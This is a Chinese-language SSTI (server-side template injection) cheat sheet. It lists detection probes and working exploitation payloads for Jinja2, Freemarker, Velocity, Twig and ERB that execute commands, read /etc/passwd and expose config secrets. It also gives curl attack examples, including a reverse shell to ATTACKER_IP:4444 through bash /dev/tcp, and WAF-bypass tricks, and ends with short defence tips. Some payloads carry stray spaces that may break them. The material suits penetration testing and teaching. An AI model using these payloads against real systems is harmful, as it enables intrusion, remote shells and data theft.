SSTI - 服务端模板注入
漏洞概述
服务端模板注入 (Server-Side Template Injection) 发生在用户输入被直接拼接到模板引擎中执行时。攻击者可以注入恶意模板代码,执行任意命令。
OWASP Top 10 : A03:2021 (Injection)
危害等级 : ⭐⭐⭐⭐⭐
常见模板引擎
语言
模板引擎
Python
Jinja2, Mako, Tornado
Java
Freemarker, Velocity, Thymeleaf
PHP
Smarty, Twig
JavaScript
EJS, Handlebars, Pug
Ruby
ERB, Slim
漏洞检测
手工检测
# 数学运算测试
{{7*7}} # Jinja2: 49
${7*7} # Freemarker: 49
#{7*7} # Ruby ERB: 49
<%= 7*7 %> # ERB: 49
{{7*'7'}} # Jinja2: 7777777
# 模板语法探测
{{self}}
{{config}}
{{request}}
${class}
#{request}
工具检测
# TPLMap (自动化检测)
python2 tplmap.py -u "http://target.com/page?name=*"
python2 tplmap.py -u "http://target.com/page?name=*" --os-shell
# Burp Suite
- 使用 Intruder 测试不同模板语法
- 使用 Scanner 自动检测
利用方法
Jinja2 (Python)
# 读取配置
{{config}}
{{config. items()}}
# 读取环境变量
{{config. items()| selectattr(0 ,'eq' ,'SECRET_KEY' )}}
# 执行命令
{{'' . __class__. __mro__[2 ]. __subclasses__()}}
{{'' . __class__. __mro__[1 ]. __subclasses__()}}
# 获取 os 模块
{{'' . __class__. __mro__[2 ]. __subclasses__()[40 ]('/etc/passwd' ). read()}}
{{request. application. __globals__. __builtins__. __import__('os' ). popen('id' ). read()}}
# 完整 RCE
{% for c in []. __class__. __base__. __subclasses__() % }
{% if c. __name__ == 'catch_warnings' % }
{% for b in c. __init__ . __globals__. values() % }
{% if b. __class__ == {}. __class__ % }
{% if 'eval' in b. keys() % }
{{b['eval' ]('__import__("os").popen("id").read()' )}}
{% endif % }
{% endif % }
{% endfor % }
{% endif % }
{% endfor % }
Freemarker (Java)
# 读取文件
${product.getClass().forName("java.lang.Runtime").getRuntime().exec("cat /etc/passwd")}
# 执行命令
<#assign ex = "freemarker.template.utility.Execute"?new()>${ex("id")}
# 读取环境变量
${configuration.getSetting("auto_import")}
Velocity (Java)
# 执行命令
#set($class = {}.class)
#set($method = $class.forName("java.lang.Runtime"))
#set($run = $method.getRuntime())
$run.exec("id")
# 读取文件
#set($str=$class.forName("java.lang.String"))
#set($chr=$class.forName("java.lang.Character"))
#set($str=$class.forName("java.lang.String"))
#set($proc=$class.forName("java.lang.ProcessBuilder"))
#set($proc=$proc.getDeclaredConstructor($str).newInstance("cat /etc/passwd"))
#set($process=$proc.start())
Twig (PHP)
# 执行命令
{{ _self.env.registerUndefinedFilterCallback( "exec" ) }}
{{ _self.env.getFilter( "id" ) }}
# 读取文件
{{ include( "/etc/passwd" ) }}
ERB (Ruby)
# 执行命令
<%= system("id") %>
<%= `id` %>
<%= IO.popen("id").readlines() %>
# 读取文件
<%= File.open("/etc/passwd").read %>
实战案例
案例 1: Flask + Jinja2
# 检测
curl "http://target.com/search?q={{7*7}}"
# 信息收集
curl "http://target.com/search?q={{config}}"
# RCE
curl "http://target.com/search?q={{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}"
# 反弹 Shell
curl "http://target.com/search?q={{request.application.__globals__.__builtins__.__import__('os').popen('bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\"').read()}}"
案例 2: Java + Freemarker
# 检测
curl "http://target.com/user?name= ${ 7*7} "
# RCE
curl "http://target.com/user?name=<#assign%20ex%20=%20%22freemarker.template.utility.Execute%22?new()> ${ ex(%22id%22)} "
案例 3: Python Tornado
# 漏洞代码
class MainHandler (tornado. web. RequestHandler):
def get (self):
name = self. get_argument("name" , "" )
template = f "Hello { name} "
self. write(tornado. template. Template(template). generate())
# 利用
{{handler. settings}}
{{request. connection. context. _request. connection. context. _request. headers}}
绕过技巧
WAF 绕过
# 字符串拼接
{{'__clas' + 's__' }}
# 编码绕过
{{request| attr(' \x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f ' )}}
# 列表推导
{{[c for c in (). __class__. __base__. __subclasses__()]}}
# 字典访问
{{{}['__class__' ]}}
过滤器绕过
# 使用 |attr() 代替 .
{{request| attr('application' )| attr(' \x5f\x5f globals \x5f\x5f ' )}}
# 使用 |map()
{{['id' ]| map('request' ,'application' )}}
防御建议
使用安全模式
# Jinja2
env = Environment(autoescape= True )
# 或使用 SandboxedEnvironment
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
避免用户输入进入模板
# ❌ 错误
template = Template(f "Hello { user_input} " )
# ✅ 正确
template = Template("Hello {{name}}" )
template. render(name= user_input)
输入验证
# 白名单过滤
allowed_chars = re. compile(r '^[a-zA-Z0-9\s]+$' )
if not allowed_chars. match (user_input):
raise ValueError ("Invalid input" )
最小权限原则
参考链接